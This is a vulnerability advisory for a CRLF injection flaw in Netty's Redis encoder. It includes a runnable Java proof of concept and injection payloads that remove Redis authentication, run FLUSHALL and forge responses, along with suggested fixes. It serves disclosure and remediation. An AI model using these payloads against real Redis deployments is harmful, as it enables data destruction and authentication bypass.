CVE-2026-42586: Netty: CRLF Injection in Netty Redis Codec Encoder

# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-redis) | | **Component** | `io.netty.handler.codec.redis.RedisEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) | | **Impact** | Redis Command Injection / Response Poisoning | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | None | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-redis` module are affected: - `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation) - `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation) - `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation) - `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation) - `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation) ## 3. Vulnerability Description The Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\r\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. ### Root Cause In `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) + RedisConstants.EOL_LENGTH); type.writeTo(buf); ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n out.add(buf); } ``` The message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null: ```java // AbstractStringRedisMessage.java:30-32 AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); // NO CRLF validation } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\r` and `\n` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\r`, `\n`, and SP | The Redis codec has **no equivalent validation** in either the encoder or the message constructors. ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-redis` module to communicate with a Redis server 2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content 3. The application does **not** perform its own CRLF sanitization before constructing these message objects **Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters. **Affected use cases include**: - Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity - Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format ## 5. Attack Scenarios ### Scenario 1: Redis Command Injection via Inline Commands When Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands: ```java // Application code that builds Redis commands from user input String userKey = request.getParameter("key"); // Attacker controls this InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey); channel.writeAndFlush(msg); ``` **Attack input**: `key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"` **Result**: Three commands sent to Redis: 1. `GET foo` 2. `CONFIG SET requirepass ""` (removes authentication!) 3. `FLUSHALL` (deletes all data!) ### Scenario 2: Redis Response Poisoning When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses: ```java // Proxy forwarding a simple string response SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse); downstreamChannel.writeAndFlush(response); ``` **Malicious upstream response**: `"OK\r\n$6\r\nhacked"` **Client sees**: 1. Simple String: `+OK` (expected response) 2. Bulk String: `$6\r\nhacked` (injected fake data!) ### Scenario 3: Error Message Injection ```java ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail); ``` **Attack input**: `errorDetail = "unknown\r\n+FAKE_SUCCESS"` **Client sees**: 1. Error: `-ERR unknown` 2. Simple String: `+FAKE_SUCCESS` (injected fake success!) ## 6. Proof of Concept ### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; import io.netty.buffer.UnpooledByteBufAllocator; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.redis.*; import java.nio.charset.StandardCharsets; import java.util.List; import java.util.ArrayList; /** * PoC: Redis Encoder CRLF Injection Vulnerability * * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage, * and ErrorRedisMessage do not validate content for CRLF characters, * allowing Redis command injection via the RESP protocol. */ public class RedisEncoderCRLFInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n"); testInlineCommandInjection(); testSimpleStringInjection(); testErrorMessageInjection(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: Inline Command Injection * An attacker-controlled string injected into InlineCommandRedisMessage * results in multiple Redis commands being sent. */ static void testInlineCommandInjection() { System.out.println("[TEST 1] Inline Command CRLF Injection"); System.out.println("----------------------------------------"); // Malicious content: inject FLUSHALL after a benign PING String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); // This should be rejected but is accepted InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: InlineCommandRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // Count how many CRLF-delimited commands are in the output String[] commands = encoded.split("\r\n"); System.out.println("Number of commands parsed by Redis: " + commands.length); for (int i = 0; i < commands.length; i++) { if (!commands[i].isEmpty()) { System.out.println(" Command " + (i + 1) + ": " + commands[i]); } } boolean vulnerable = commands.length > 1; System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO")); System.out.println(); } /** * Test 2: SimpleString Response Injection * When Netty acts as a Redis proxy/middleware, a malicious SimpleString * can inject fake responses to the downstream client. */ static void testSimpleStringInjection() { System.out.println("[TEST 2] SimpleString Response CRLF Injection"); System.out.println("----------------------------------------------"); // Malicious content: inject a fake bulk string response after OK String maliciousContent = "OK\r\n$6\r\nhacked"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: SimpleStringRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // The RESP protocol uses the first byte to determine type: // '+' = Simple String, '$' = Bulk String // A client parsing this would see: // 1. "+OK\r\n" -> Simple String "OK" // 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!) boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO")); System.out.println(); } /** * Test 3: Error Message Injection * Similar to SimpleString but with error messages. */ static void testErrorMessageInjection() { System.out.println("[TEST 3] Error Message CRLF Injection"); System.out.println("--------------------------------------"); String maliciousContent = "ERR unknown\r\n+INJECTED_OK"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: ErrorRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO")); System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java java -cp "$JARS:." RedisEncoderCRLFInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Redis Encoder CRLF Injection PoC === [TEST 1] Inline Command CRLF Injection ---------------------------------------- Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL") Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n" Number of commands parsed by Redis: 3 Command 1: PING Command 2: CONFIG SET requirepass "" Command 3: FLUSHALL VULNERABLE: YES - Multiple commands injected! [TEST 2] SimpleString Response CRLF Injection ---------------------------------------------- Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked") Encoded: "+OK\r\n$6\r\nhacked\r\n" VULNERABLE: YES - Response poisoning possible! [TEST 3] Error Message CRLF Injection -------------------------------------- Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK") Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n" VULNERABLE: YES - Error + fake OK injected! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data | | **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration | | **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS | | **Authentication Bypass** | `CONFIG SET requirepass ""` removes authentication | | **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction | ## 8. Remediation Recommendations ### Option 1: Validate in Message Constructors (Recommended) Add CRLF validation to `AbstractStringRedisMessage`: ```java AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); validateContent(content); } private static void validateContent(String content) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "Redis message content contains illegal CRLF character at index " + i); } } } ``` ### Option 2: Validate in Encoder (Defense-in-Depth) Add validation in `RedisEncoder.writeString()`: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new RedisCodecException( "Redis message content contains CRLF at index " + i); } } // ... existing encoding logic } ``` ### Option 3: Both (Best Practice) Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor - This provides defense-in-depth against custom `SmtpRequest` implementations ## 9. Resources - [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)